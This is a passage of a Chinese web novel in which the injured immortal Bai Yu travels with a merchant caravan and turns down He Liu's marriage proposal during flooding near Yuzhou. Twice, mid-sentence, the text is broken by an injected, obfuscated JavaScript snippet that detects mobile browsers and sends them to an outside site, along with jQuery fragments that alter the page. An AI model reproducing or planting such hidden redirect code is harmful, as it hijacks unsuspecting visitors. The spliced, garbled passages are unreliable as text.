贺六高白羽一头,为了听清她说的什么,刻意倾身低头,呼吸喷洒在白羽的肩膀上,听清楚才回答她:“我出城的时候在一处茶寮里抢了一个歇脚客的马。” 白羽惊讶:“你抢了人家的马!” “我付了钱的。”贺六急着解释,“而且我也说了我的姓名,说了我们下一站是渝州,如果有缘再遇到一定重谢。” 白羽想笑,但也知道当时一定是情况紧急,他没有多余的时间解释,不若以叶启心性,他不可能会做出这么无礼的举动。 毕竟晚一时半刻,就会有失去最佳解救时机的可能。但现在也不是全然安全,永州与播州两城往返,坐马车需要三天时间,骑马就更快了,要是耽误久了,来回非常耗费时间。 想到逃命时要分秒必争,白羽还不知贺六的安排是什么,于是她问:“我们现在直接去渝州吗?还有商队他们现在在哪?” 播州肯定是不能回了,但如果钱掌柜和贺老大他们还没出城的话,少不得要在途中等上一等。白羽此时完全忽略了自己骨折的伤腿,她只想着赶紧摆脱播州这一摊子烂事,争取不要拖累大家,否则她真的不知该如何面对收留她的孙大娘一家和商队。 “放心。”贺六似乎知道白羽担忧之所在,忙将自己出城前的安排和盘托出:“你离开后孙大娘来探监,府衙的捕快趁机索要赎金,交了钱后就把我放了。我让孙大娘回去告诉贺老大派几个人来接应我们,也告知了不要在播州停留尽量早出城,在城外北向八十里会合,如果遇不到那就请他们先行,在渝州见。” 几人骑马抄小道尽走的是高山密林,贺六抬手抚开一根即将打在白羽脸上的枝条,说着接下来的安排。 “我预计贺老大他们会在北向百里处等我们,这回我们绕城而走,再有一个时辰就能追上他们,到时候好让潘大夫为你接骨。” “潘大夫是?”白羽问。 日色烘烤,暑气蒸腾。 白羽坐在贺六身前,她的背脊抵着他的胸膛,他的胳膊环着她的臂膀,身体接触的地方自然火热无比,贺六想往后倾一下,但又怕白羽没有安全感。 如此,进也不是,退也不是。 正无所适从之时,忽闻白羽好奇之言,耐心地给她解答:“潘大夫是贺老大在宿州救下的一名医士,听闻她父亲是在京城供职的御医,年初去世了,她一人扶棺回乡安葬,谁知道竟然遇上叛军,她东躲西藏差点被发现之际被贺老大所救,无处可去就跟随我们上路了。且她不喜与人交际,所以,你应该是没见过她。” 这样的经历也是令人唏嘘,白羽感慨,“潘大夫的身世也够坎坷的。” “不过她虽然不喜欢和人交际,但有伤患求到面前,她也是会热心救助,所以,你不用担心。” 两人说话间,队伍又行了几十里。 这时前方一青年慢下来,与贺六并肩时询问:“六哥,前边就是播州南城门了,我们要进城吗?” 白羽抬眼辨识,发现这青年她见过,她第一次遇见叶启和他拉扯时,就是这人来提醒叶启回去助场。 两人眼神相遇,白羽礼貌性地对他点头微笑,那青年也随之颔首示意。 贺六抬手支在眉上,遮挡阳光向前方眺望,已经能远远看到播州城门了,他随即放下手回道:“现下不知道播州府衙有没有得到我们劫车的消息,此时进城不安全。这样,阿粥你去城门口探探路,看看守卫的士兵有没有严格排查出入的人。” “好,我去去就回。”名叫阿粥的青年人应了下来,抛下几人扬鞭就往城门入口赶。 等他马蹄扬起的尘土落尽,贺六招呼大家可以先下马歇息片刻。 奔波了一早上,终于能停下来歇一会儿,虽然时间不长,但人有三急,总不能憋着,于是贺六此话一出,其余三个青壮年男子相约去解手。 贺六一边询问白羽要不要下马坐着休息一会儿,一边让他们三个走远一些,他怕味道不好闻,熏着白羽。 听着三人推推搡搡的笑骂声走远,白羽把手搭在贺六递上来的手掌上,他的掌心宽大,虽精瘦但却十分有力量,一手扶着白羽,一手接住她跨过来的双腿,使之平稳落地。 贺六在树丛旁找了一块大石头,用落下来的上衣衣摆随意擦去灰尘,扶着白羽坐下来,他看着白羽欲言又止。 主要是队伍里就她一个姑娘家,有些特殊情况还真不好提需求,他没有别的意思,但一个大男人主动去问也怕惹她羞。 犹豫片刻,话到嘴边还是没敢问。 从马上下来,腿还是隐隐发痛,但好在比在马背上吊着颠簸强得多,白羽整理好膝下裙摆,直剌剌地问贺六:“他们都去了,你不去解手吗?” 贺六:…… 看来他是白纠结了。 “我不去。”贺六回答,顺势问出:“你需要去吗?” 白羽摇头,一夜一早滴水未进,肚子里空荡荡的,想拉也拉不出来啊。 她比较担心现在的处境,于是只能和贺六说话转移注意力,便问他:“刚才那个孩子叫阿周,是他的姓氏吗?” “不是,是米粥的粥。”贺六不防白羽突然问起这个,他顿了一下,才说起那孩子的来历:“他也是贺老大在路上捡的,捡到他的时候我也还小,阿粥当时饿得面黄肌廋,头发像经过了一个冬天的稻草,根根分明的肋条上贴着一层薄薄的皮,不用凑近摸都能看到心脏跳动,一下又一下,十分微弱。贺老大抱着他去求医,医馆的人都说活不了了,可贺老大愣是用熬得香稠的米粥把阿粥喂活了,后来就给他起名叫阿粥,也是希望他以后不再忍饥挨饿,能吃饱饭,好好活着。” 白羽想到那个仅有几面之缘的窄脸中年男子,为人看着冷淡,不苟言笑,原来心地这么善良,在自己都捉襟见肘的荒年里,收养了一个又一个孤苦无依的孩子,让他们有容身之所,教他们谋生之术,堪称功德无量的事业。 “贺老大真是个好人。”白羽感叹。 没等多久,去树林里解手的三人就回来了。这时,阿粥也去而复返。 他从马上跳下来,跑向贺六,急着汇报见闻:“我进城的时候没有遇到盘查,跟平常一样,于是我想着大家都还没吃饭,就去街边铺子里买了几个烧饼。可是,等我再出城的时候就发现守城门的士兵突然多了几个,手里还拿着画像和进出的人群比对,我就凑近看了一眼,画像上的人有七八分像阿习姑娘。”阿粥担忧的眼神看向白羽。 贺六沉思,远远望了一眼近在咫尺的城门,语气低沉地说:“看来我们的确不能从播州城过了,大家先吃东西,吃完了我们绕山路尽快追上贺老大,不然大家都有危险。” 白羽情绪低落,紧紧抿着唇,她不知道播州府衙怎么这么快就得消息了,明明她们才从春风涧返回,甚至人还没到城门口,他们就已经开始搜查了。 万一贺六不谨慎,直接领人进城,岂不是自投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780763|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗网,给他们瓮中捉鳖了。 其余人都很信服贺六,听他这么安排都安心照做,接过阿粥分来的烧饼,就着马匹携带的水囊里的水,先填饱肚子。 贺六拿着两个烧饼向白羽走来,递给她,说:“别多想了,我们本来也没打算从城里过,只是来确认一下官府有没有收到消息,这关系着我们花在路上的时间,走山路也很快就能追上贺老大,快吃吧。” “谢谢。” 白羽道了谢,默不作声地接过烧饼开始啃,贺六又给她拿了一个新的水囊,他自己跑去和阿粥共喝一壶。 六个人很快休整完毕,贺六重新检查加固了白羽腿上的绑带,扶她上马坐好,随即调转马头,向看好的山路行进。 西南密林里道路错综复杂,贺六一边走一边辨认方向,还要派阿粥去前方探路,一路上走得辛苦。 约摸过了一个时辰,太阳已经升至当空,人与马的影子都在自己脚下形成一个黑色的轮廓,贺六带领众人冲出山路密林,站在了没有树木遮挡的官道上。 他回头看向远方,在心里默算时间和脚程,接着说:“我们现在距播州大约有百里路,贺老大他们如果在等我们,那应该就在这附近,我们再往前走走。” 走了一路,人困马乏。 白羽的腿在山路颠簸中也越来越疼,她此时满头大汗,虚弱无力地靠在贺六胸前。 上了官道,贺六没敢再催马快行,任它慢悠悠地往前走,又怕误了时间,于是派阿粥和另一个青年汉子,一人向前一人向后扩大范围去寻找贺老大。 终于,不负所望。 阿粥回来说贺老大和商队在前面二里地处扎营造饭。 于是贺六赶紧带着白羽往前赶,阿粥则向后,跑去找往后面寻人的同伴。 紧赶慢赶回到营地,贺六顾不得男女大防,从马上抱起白羽大步流星地跑去找潘大夫。 杂耍班和商队驻扎在两棵大榕树围拢起来的一片空地上,树荫深深,有人在喂拉车马匹和驴子,有人在架锅生火做饭,有人在溪水边给大家灌满水囊。 贺六眼睛搜寻了一大圈,终于看到坐在人群最里面,一身素白、面容寡淡正在配药的潘大夫。 他抱着白羽冲上前去,着急忙慌地说:“潘大夫,阿习姑娘从车里摔下来,腿骨折了,还劳烦您给她接一下骨。” 潘大夫闻言停下手里的活,示意他把人放下来,拆开白羽左腿上缠了一圈又一圈的布条,卸下两块用来固定的木板,撸起她的裤腿,在膝盖鼓起的地方轻轻按了按。 白羽吃疼得瑟缩了一下,就听潘大夫抬头对贺六说:“伤势养护得不错,还算你有点医理常识,知道用木板把腿固定住。” 贺六挠挠头,刚想说什么,只听白羽惨叫了一声,潘大夫就收回手继续配药去了。 一阵疼痛过后,白羽收回掐着贺六的手,感觉腿没那么不适了,下意识就想动一动,却被潘大夫阻止了。 “别乱动,骨头现在还很脆弱,我给你配一副治跌打损伤的药,外敷内服,很快就好了。” “多谢潘大夫出手救治!”白羽脸上额上还挂着冷汗,闻言立马道谢。 受人感谢,潘大夫语意冷淡,手下动作不停,顺口说道:“不用谢我,你应该谢贺六及时控制住了伤情,否则你这腿就不是歇个把月的事情了。” “自然是都要谢的。”白羽回头看着贺六,极其郑重地叫了他的名字:“贺六哥,这次我能全身而退,多谢你,也谢谢你一路照顾我的伤势。” 此时,这个榕树根下围了很多白羽熟悉的面孔,她从每一个人脸上一一看过,像是想把所有人都烙印在脑海里,然后说:“也感谢前来营救我的四位大哥,以及替我想办法、为我担忧的每一个人,多谢大家,这次是我给大家添麻烦了,非常抱歉。” 白羽话落,周围响起安慰声,一人一句,大家都格外真诚淳朴。 “这说的什么话,你跟我们一起走那就是一家人,我们不担心你担心谁。” “阿习姑娘好好养伤,我给你送我们家的羊奶。” “不用道歉,大家都不怪你。” …… 12. 洪水 夜阑人静,花月止歇。 八月末的夜晚,微风吹过,携带着雨水泛起丝丝凉意,经由透开的窗牖送至卧床修养的白羽身侧。 她想到今日正午时分,两边队伍在播州城外百里处起锅造饭、检查休整过后继续上路,如今应是已行出了播州范围,到了渝州辖下的一个小镇子上。 这个镇名叫永城镇。 镇子颇小,只有两家客栈,都让商队和杂耍班包圆了。进镇的道路是一条狭窄的水田路,马车无法顺畅通过,只能由人下到水田里抬着另一侧,才不至于侧翻。 白羽的腿暂时不能走动,下午她就坐回了蕊儿家的马车。进镇时,她也被请下车,由孙大娘和蕊儿搀扶着走入客栈。 当天傍晚还下了点雨,白羽远远看到贺六半截腿都陷入水田的泥泞里,肩膀抬着沉重的车辕,和商队里的年轻人一起喊着号子加油鼓劲。 等把所有拉着货物的车都安全护送至客栈仓房时,大雨倾盆而下,大家心里都松了一口气。 这批货要是毁了,那这趟肃州之行就算是白跑了。 钱掌柜领着孙成几个去仓房清点货物,贺老大就赶贺六他们去后院打水清洗,孙大娘早吩咐客栈备好众人的饭菜,蕊儿忙前忙后地给淋了雨的人递布巾、递热水。 白羽腿伤在身,行动不便,早已被扶进房间休息了。 她们进来得早,没有淋到雨,此时的雨线幕天席地,仿若乌云快速在天地间织了一挂晶莹帘幕,细密到空气几乎无所遁形。 雨势愈急,黑压压得让人透不过气。 待所有人都收拾好后,天色已黑透,蕊儿推开她和白羽的房间门,门内一片漆黑,白羽的影子陷在床帐里,无声无息,仿佛睡着了一般。 蕊儿不确定地出声喊她:“阿习姐姐,你睡着了吗?” 推开的门带来屋外的潮湿气息,白羽撑着起身,回应她:“没有,大家都安顿好了吗?” 蕊儿摸黑走到桌旁,将油灯点亮,微弱温暖的光霎时充盈整个空间。 “安顿好了,这边客栈房间多,商队和杂耍班的人几乎都住满了,另一边客栈就安排成了仓房,钱掌柜带着人住在那边,两边离得不远,来往也方便。” 蕊儿口条清晰地给白羽介绍完现在的情况,就走过来想拉她起来,边扶边说:“饭菜好了,我是来叫你下去吃饭的,快走吧。” 等白羽在蕊儿的搀扶下扶着楼梯两边青竹栏杆慢慢下楼时,客栈的小二已经把热气腾腾的饭菜和汤汤水水端上桌了。 白羽和蕊儿在孙大娘身边坐定,这时,窗外大雨仍未止歇,空气里水汽充沛,墙壁与桌面上都凝了一层细密的水珠,白羽用手拂去,水珠变为水镜。 没等多久人就到齐了,大家正准备动筷吃饭,只见后厨方向走来一个风韵不减的中年女子,手里托盘摆着几盘时蔬瓜果,热情人急言快语,“今日天时不好,诸位远道而来落宿我这小小客栈真是令小店蓬荜生辉,我家那个去地窖里给大家拿酒去了,都是自家酿的海棠酒,不值几个钱,就当喝个乐呵,让我先把刚摘的瓜果拿上来,相逢就是缘分,大家就吃好喝好玩好住好!” 一席话,满堂彩。 几个爱热闹的年轻人站起来鼓掌喝彩,巴掌鼓得都要黏在一起。 刚刚经历了一场令人疲惫的大雨,其实挺需要调动气氛,让大家都换个心情的,客栈老板娘这个头开得非常合适。 由她始,各桌子走动敬酒的、聊天的、结交新朋友的都动了起来。 一顿饭吃得宾主尽欢,虽然不知大雨要下到何时,但此时此刻尽兴为上策。 酒食过半,白羽注意到一直待在贺老大身边的贺六悄悄离席,她环顾四周,似乎没人注意到他,她疑惑地凝了下眉,不知道他出去要做什么? 渝州的菜式偏鲜辣,桌上有一道毛血旺很受欢迎,白羽夹了几下就被勒令不许吃了,不利于骨伤恢复。 她无奈只能望而却步,转尝一些调性温和的菜品。 临散场前,潘大夫穿过人群来叮嘱白羽,晚上过去给她换药。 白羽就着蕊儿的手打算重新返回房间等潘大夫来换药,客栈人手少,承了老板娘的情,大家都在帮忙收拾宴饮过后的残羹剩饭、杯盘狼藉。白羽望着长长的青竹楼梯望洋兴叹。 她的腿不着力还是能走动的,即使潘大夫接骨术再高明,伤筋动骨也要一百天的。 就在白羽下决心爬上楼时,突然被人从身后拍了拍肩膀,她疑惑回头就看见提前离席的贺六回来了。手里持着两根疑似刚削成的拐杖? 木质新白,还能看见生长的纹路,但已经过打磨抛光,呈现出圆润的光泽。 凑近了,白羽隐约闻到贺六身上飘来的一丝药香,未及深究,就听他说。 “下午推车的时候,在水田边看到一棵桦木,想着你最近行动不便,有根拐杖能方便一些。” 白羽接过来拄上,眼里仍是惊疑和不敢置信,在她心里,贺六能去救相识两日、仅有几面之缘的她已是不易,还能处处关心,细心妥帖到注意她需要拐杖,并亲手制作。 无疑,他是个很好的人。 贺六在观察白羽拄上拐杖后有没有哪里不贴合需要改动的,看到高度合适,衔接处也稳固时,才放下心来,接着说:“时间匆忙,做得不是很好,你要是觉得不好用的话,等明天雨停了我去店里帮你买两根好的。” “已经很好了,叶启,谢谢你!”白羽的语气里有种受宠若惊的感激之情。 贺六不好意思地挠挠头,脸上扩开一抹笑,朗声说:“你能用上就再好不过了,不用客气。” 重新落宿,安排布置,贺老大那边少不了贺六帮衬,他很快就被叫走了。白羽回头借助拐杖的力道上楼梯,瞬间感觉省力很多,蕊儿人小力弱,扶着她,她都不敢太往她那边倾斜,如今有了这拐杖,真的好多了。 回到房间,白羽等着潘大夫来帮她换药,孙大娘有事找蕊儿,她尚未坐下又被叫走了。 没让她等太久,两刻钟后,潘大夫推门而入,手里端着一个托盘,托盘上面放着一碗褐色汤药,尚还冒着热气,蕊儿随后。 看着这一大一小的身影,白羽坐直了身体,满面惊疑发问:“这是给我熬的药吗?” “是啊。”潘大夫将药碗端给白羽,看着她喝下去,把自己随身携带的药包拿出来准备好。 一碗药下肚,满嘴苦涩,白羽皱着眉擦擦嘴角,重新扬起笑脸对潘大夫说:“多谢您帮我熬药。” 潘大夫语气淡淡:“这功劳我可不敢冒领,是贺六熬的。” 啊…… 又是他啊! 共狱、营救、拐杖、熬药…… 叶启究竟背地里做了多少好事。 “来吧,我给你换药。”潘大夫接过空药碗放在床边矮几上,解开白羽腿骨上缠着的绷带,用湿布巾将之前的药粉擦掉,给了白羽一句让她放心的话:“伤势恢复得不错,这几天下雨尽量不要走动,我看你有拐杖了,能借力就不要动腿,好了才没有后遗之疾。” 白羽郑重应答表示自己记住了,再三谢过后,送走了潘大夫。 房间里重新安静下来,蕊儿这才讲述她出去后发生的事情。 孙大娘叫蕊儿出去有事情说,说的就是贺六帮白羽熬好了药,他不方便上去,想让蕊儿帮忙端给白羽,于是找了孙大娘传话。 蕊儿拿到药,刚端出后厨房,就碰到了拿着药包,用沸水煮过布巾,刚从大灶房出来的潘大夫,于是潘大夫顺理成章地从蕊儿手中接走托盘,两人一起来了白羽房间。 原来是这样,白羽心想,原来每一个人都在帮助自己,后面要好好报答他们。 一夜雨声烦,清早了无眠。 原本以为只是暂时在永城镇落脚,不日就要启程前往渝州,谁知大雨一连下了三日,商队和杂耍班被困在这个小镇上寸步难行,往前是洪水暴涨的长江天险,往后是不知何时会碰上的播州追兵。 真正的进退维谷。 贺老大和钱掌柜每日都派人去打探前方路况,传回来的情况却是一日比一日糟。 这天清早,马棚承受不住雨水的侵袭,坍塌了一角,有几匹马受了惊,贺六组织了几个青壮年重新修葺。 贺老大从客栈房间出来,站在二楼栏杆处远远看了一眼后院几个干得热火朝天的蓑衣青年,眼神着重在贺六身上停留了一瞬。 忆起前几日有个孩子跟他抱怨,贺六把自己存在钱庄里的钱都取出来给孙大娘了。 他知道贺六行走江湖这些年,花销上一直很节俭,赚来的钱几乎都存在钱庄,他无父无母,那就是他攒的娶媳妇的钱。 怎么会突然间就给孙大娘了? 好奇之下,他把贺六叫来一问才知,原来当初贺六在播州被差役抓走,后来能被释放是因为交了高额赎金,钱是找孙大娘垫付的,如今要给人家还钱。 作为熟知贺六秉性的人,能让他这样花钱花时间花精力花心思去对待的姑娘,贺老大当时就猜到了贺六的心意。 经过这两天,贺六又是送拐杖,又是一天不落的熬药,贺老大总算确定了,于是他敲响了白羽的房门。 “谁呀,我不好走动,门没锁,请直接进。”隔门传来一道有些沉闷的女子嗓音。 贺老大推门而入,先问候伤情:“阿习姑娘腿伤恢复得如何了?” 蕊儿有事出去了,白羽正在桌前给自己倒水喝,敲门声响后转头去看就见进来的人是贺老大。 她愣了一下,连忙回答:“已经好多了,多谢您关心,快请坐!” “这两天时节不好,姑娘的腿沾不得水汽,还是要多注意保暖。”贺老大端起白羽倒给他的茶水,润了润喉,关心道。 白羽跟这位杂耍班班主接触得不多,此时也不知道他的来意,只能顺着话头聊下去,“是啊,这几天多亏了大家的照顾,您今天来找我是有什么事情吗?” 贺老大捧着茶杯在掌心里转了一圈,话至嘴边又沉吟片刻才道出:“我不知道接下来问的话会不会冒犯姑娘,按理来说是该由父母至亲来提,但贺六没有生身母父,他是我养子,我便托大来替他问上一问。” 这话说的好大,白羽不敢不接,但实在猜不出贺老大要问什么,清清嗓子说:“您请问。” “阿习姑娘是哪里人?家中还有其他亲人吗?有无婚配?”贺老大语气轻柔和缓,微笑着说:“最后一问,你觉得我们家贺六怎么样?” …… 从白羽房间出来,贺老大隔着栏杆看到贺六他们已经把马棚修好,马匹也喂上鲜草安抚住了,他招手示意贺六上来一趟。 贺六拍了拍阿粥的肩膀,让他把马棚收尾做一下,就带着斗笠上了客栈二楼。 来到贺老大门前,他脱下蓑衣斗笠,抖了抖上面的雨水,将其靠在门口,这才敲门进去。 一进去,就看到贺老大表情颇为严肃地指了指面前的圆凳,示意他坐下。 等他坐定,开门见山地说:“我刚刚去问了阿习姑娘觉得你如何。”看贺六表情惊讶,想要辩驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780764|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些什么,抬手让他止住,“我知道你对她有意。” 贺六偃旗息鼓,觉得面上有些烧。 情深似海,少年人藏不住心思。 他强自镇定,确仍显焦急地询问:“她,怎么说?” “她说你将来会遇到你的命定之人,那人非她,她不能再搅了你的姻缘。这段时间承蒙你的照顾,她心存感谢,日后会寻机会报答,让我不要告诉你。” 贺老大话落,房中空间出现了一瞬间的寂静感,没有人再说话。 再次响起声音,是窗外雨潺潺,雨珠变大变密,洒落在青黛瓦上的“唰唰”声,贺老大将贺六面前的凉茶倒掉,重新添上热茶,问他:“你打算怎么办?” 贺六回神,斟酌着语气说:“阿习姑娘既然拒绝了,她也不想让我知道,那便当做没有这回事罢,日后相处还是像以前一样就好,老大你也不要再提。” 没出息。 贺老大恨铁不成钢地在心里骂了一句。 就他这样的还想娶媳妇,孙成那小子都比他豁的出去。 这副窝囊样子,贺老大看了生气,赶他出去做事。 贺六走后,贺老大端起茶杯沉思,阿习姑娘看着像是富家之女,但她只口不提自己的家事与婚配情况,说明这上面必有文章,看来此事还得从长计议。 门外,贺六拿起靠在门口的蓑衣斗笠转身下楼,在路过白羽房间时暂作停留,回想当日在播州地牢里,有关白羽讲的那个前世故事,他当时没有当真,现在看来,当真的人的确不是他。 驻足片刻,他正打算回头离开,未料想房门突然从里面打开。 贺六与正要拄拐出门的白羽碰了个当面,两人具是一楞,贺六当先问候:“天下大雨,阿习姑娘要出门吗?” “不是,蕊儿刚才出去了,我看雨突然下大,有些担心她,出来看看。”白羽联想这么短的时间,贺老大肯定也没告诉贺六刚才的事,于是坦荡回答。 “我陪你出去吧。” “那,多谢。” 贺六与白羽缓步下了楼梯,来到客栈前厅门口等候,滴水檐聚集起雨水,在檐下溅起一连串漂亮的雨花,墙角不知名的小花草浸没在水潭里,在此处形成了一个小小的水下世界。 “马棚修好了吗?”两人干站着也不是个事,白羽率先打破沉默发问:“早上听说雨太大马棚塌了。” “噢,已经修好了,阿粥他们正在安顿马匹。” 谈及婚嫁,这件事被贺老大戳破后,白羽倒是十分坦荡,浑身不自在、手足无措的人是贺六。 看白羽站得辛苦,贺六忙搬了一条长凳让她坐下。 白羽道谢后坐下,正想询问贺六知不知道前方路况如何,什么时候能正常上路,就见不远处跑来一个披着蓑衣撑着伞的小姑娘,正是蕊儿。 她没来得及出口的话被打断。 蕊儿收伞,抖抖伞面的雨水,回头新奇地问两人:“阿习姐姐,贺六哥哥,你们怎么在这站着,是在等我吗?” 白羽在帮蕊儿解蓑衣结,闻言只是笑而不语,于是贺六接话:“是啊,阿习姑娘看你出门久不归,外面又下着大雨,担心你才出来看看。那边发生了什么事,还有什么需要帮忙的吗?” 听闻两人的确是出来等自己,蕊儿笑眯眯的,把被雨水飘湿的额发别至耳后,清清脆脆道:“不用不用,就是我爹和钱掌柜的几个账本放在这里,让我给他们送过去。” “没事就好,先回去吧,别着凉了。” 白羽摸了摸蕊儿头顶的头发,发现除了前额和裤脚其他地方都是干爽的,也放下心来,催促着她赶紧回去换衣服。 两人向贺六道别。 转身之际,白羽前行的脚步被叫住。 回头就瞧见贺六望向她难以启齿的神色,白羽主动停下脚步,让蕊儿先回去。 尚未到午饭时间,厅堂里无人,两人找了个僻静地方坐下,白羽没有说话,安静等着贺六开口。 “阿习姑娘,我先向你道个歉,对于贺老大冒昧找你这件事我很抱歉,虽然你说让他不要告诉我,但我思前想后觉得以一个男人的担当,我不能当作这件事没有发生过,心安理得地继续过自己的日子。” 贺六表情诚恳,停顿了一下接着说:“但我并不想为自己的心意道歉,我与姑娘相识虽不久,但却一起经历了不少事,常言都说于逆境中看人品,我不知你对我的评价是什么。可既然贺老大已为我开了头,我是真心求娶,也愿倾心相待,不知道是不是我哪里做的不好,让你有所顾虑,亦或是有其他原因,还望酌情告知。” 一席话毕,贺六一直望向白羽眼睛里的眼神垂落在桌面上,像一个等待审判结果的囚徒,每一秒都煎熬。 不过,没让他等太久,白羽很快给了他答案。 “贺六哥,叶启,我已经不知道该怎么称呼你。我很感动于你的用心和真挚,但很抱歉,请恕我不能接受。” 白羽亲眼看着眼前人泛着浅蓝色光泽的眼眸里慢慢爬上了一抹失落,但他仍然凝神细听她接下来要说的话。 白羽:“我来此间有我的任务,你也有自己的道路要走,我已经干涉过一次你的命运,也从你嘴里知道我为你们选择的命运并不是你的本意,所以我承诺不会再干涉你的任何选择。抱歉,你将来会遇到你的妻子,她是一个非常热情善良、有怜悯之心的女子。” 这番话说得奇怪,贺六不解,“我确定我不是叶启,可你又怎么确定自己就是一个旁观者角色,而非我命运里的局中人呢?” 13. 歇脚 我如何确定自己是叶启或者说紫翎仙君的人生过客,还是命中注定? 白羽自问。 相应地,她开始思考,眼前所见之人究竟是贺六,是叶启,还是紫翎仙君? 那么,她现在是司命座下仙使白羽,还是逃婚的凡人少女? 人怎么确定自己是此人而非另一个人。 依据是什么? ……是记忆吗? 如果是,那么白羽确定自己是白羽本人,是已陨落的芫回上神的亲传弟子,是司命星君座下送信仙使,是干预仙君命轨被罚下凡历劫的罪仙。 那贺六是叶启吗? 他没有叶启的记忆,叶启没有紫翎仙君的记忆,叶启不是紫翎仙君,贺六更不是。 不……不应该是这样。 白羽撑着开始发痛的太阳穴,难耐地闭了下眼睛,缓了片刻才睁开眼。 她心中基本有数,但因仍未得出结果,只能对贺六说:“我暂时无法确定。” 如此不确定的答案,贺六的眼波里却渐渐浮上笑意。 他本性洒脱,有此追问也只是不想让白羽一直游离,不想让她始终把自己当作另一个人,想让她正视贺六这个人。 贺六笑着道:“那就交给时间吧,到时是天命还是过客,自有缘法。” 白羽思索之后,点头认可。 两人就求娶之事达成共识,便各自分开行事。 *** 第二日傍晚,雨势收住,天色开始有放晴的迹象,这场雨一连下了五日,听商队出去查看路况的人回来说,临近江岸的村庄田舍都被冲毁,不过官府已经派了河吏疏通河道、清理残留洪水,帮助灾民恢复生机,重建家园。 况如今本不该是主汛期,洪水涨势也不如一两个月前强,相信用不了几天就该退去。 得到这样的消息,钱掌柜和贺老大开始商量收整行装,重新上路。 养了几日,白羽基本可以在左腿不使力的情况下靠着拐杖平稳地走路,听说过两日等洪水退去就能上路,她也十分高兴。 如今已经是九月下旬,要赶在腊月返回柳州,再耽搁下去怕是不现实。蕊儿更是天天都在盼着早日出发,早点回去,她们在这个镇子上真的留得太久了。 潘大夫每天都会准时来帮白羽换药,贺六熬药也一天不落,潘大夫在次日傍晚为她换完药后带来了两个好消息,一个是明天再喝最后一次就可以停药了,另一个是贺老大带人去探过路,依照目前的水势,最晚后天就可以整装出发。 听到这个好消息,白羽和蕊儿都拍手笑了起来。 在具体的等待里,时间过得很快,眨眼间就来到第三日清晨。 钱掌柜联系了鱼洞一家商船,对方答应送他们横渡长江,但因洪水刚退,其他舵舫都还未营业,于是要价就比较高,但无奈他们等不起了,钱掌柜只能咬咬牙租了。 因此,一大早搬运货物、打包细软、喂养马匹的众人都能看到黑着一张脸的钱掌柜。 一个时辰后,收拾完毕,临出发前,客栈老板夫妻两人出来送行,这段时间大家相处很是愉快,地方虽小,但两人体谅商队出门在外多有不便,餐食和住宿尽量安排令人住得舒服。 所以,大家相处得还不错。 送别结束,商队和杂耍班众人顺着来时路回到大路上继续前行。 刚下过连绵的暴雨,今日艳阳天。 官道两侧草木茂盛处被雨水冲刷瘫倒了大片,漏出白花花的草叶背面,一面垂在积水里,一面接受太阳暴晒,场面着实惨不忍睹。 路面松软泥泞,嵌有大大小小、坑坑洼洼的积水潭,车马人流稍不注意就会陷进去,需要边走边推,这一番折腾下来,临近傍晚才走了一半的路程。 钱掌柜跟鱼洞商船说好的今日渡江又只能往后推迟一天了。 赶在天黑前他们进了安澜镇地界,此处距离江面较远,受洪水侵袭的影响也比较小,只是暴雨如注,房屋坍塌了几座。 他们一行人进镇时,正好看到工匠在修房子。 白羽掀开窗帘就看到贺六下马朝人群走过去,先带着笑容礼貌问候:“大哥阿叔们,修房子呢!我们是从外地来的商队,天色晚了不好赶路,请问一下咱们这个镇子上有没有歇脚的客栈?” 一个鹤发鸡皮的老者耳朵上别着一支旱烟,原本低头在木船上用墨斗弹线,闻言抬起粘连的眼皮眯眼瞧贺六,声音粗噶,像是有沙子在碾磨。 “客栈?”老者摇摇头,“这里可没有这种东西,不过你们要是想落脚的话,可以去镇东头的里长家,他家提供住宿。” 贺六拱手道谢,还想请他告知里长家具体位置,就见老者扫了一眼他身后乌泱泱的车马人群,不赞同地摇了摇头,“这么多人,怕是住不下,后面的路可窄了,你这马车是过不去的。” 又聊了几句,贺六再次道谢,这才回到队伍中。 他先去贺老大那边汇报了得到的消息,等钱掌柜过来一起商讨接下来究竟该如何安排,连夜赶路不甚安全,还是先在安澜镇歇一晚比较稳妥。 钱掌柜派人去镇上找可以落宿的人家,他自己则去联系可以寄存货物的仓房。 等到大家都动起来,白羽眼睁睁看着贺六走向她所在的这辆马车。 贺六见她掀着马车帘子,望向她的眼睛里带着笑意,然后拱手朝里面说:“孙大娘,我们今晚就在这镇上落脚,钱掌柜让我和您一起去里长家安排住处。” 孙大娘就着白羽掀开的帘布,探头出来回贺六:“天色已晚,大家也没吃晚饭,确实不能再赶路了,那便走吧。” 贺六:“前面的路比较窄,马车过不去,我们得走着过去。” 闻言孙大娘和蕊儿先利索地下了车,回头准备扶白羽,白羽也拿着拐杖起身,正要下车,面前突然伸出一只手臂拦住了她。 贺六说:“地面湿滑,泥泞难行,你的腿伤刚有起色,还是不宜行动的好,我抱你过去吧。” 说完贺六朝白羽伸开了双臂。 白羽对上贺六看向她的眼神,传达的情绪底色干净纯粹,全然只是为她着想,不掺杂半点私心,一直耐心等候。 白羽点头,弃了拐杖,握住贺六伸出的手臂,弯腰被他横抱在胸前。 贺六低头,两人对视,他郑重其事地承诺:“放心,我抱的稳,不会把你摔了的。” 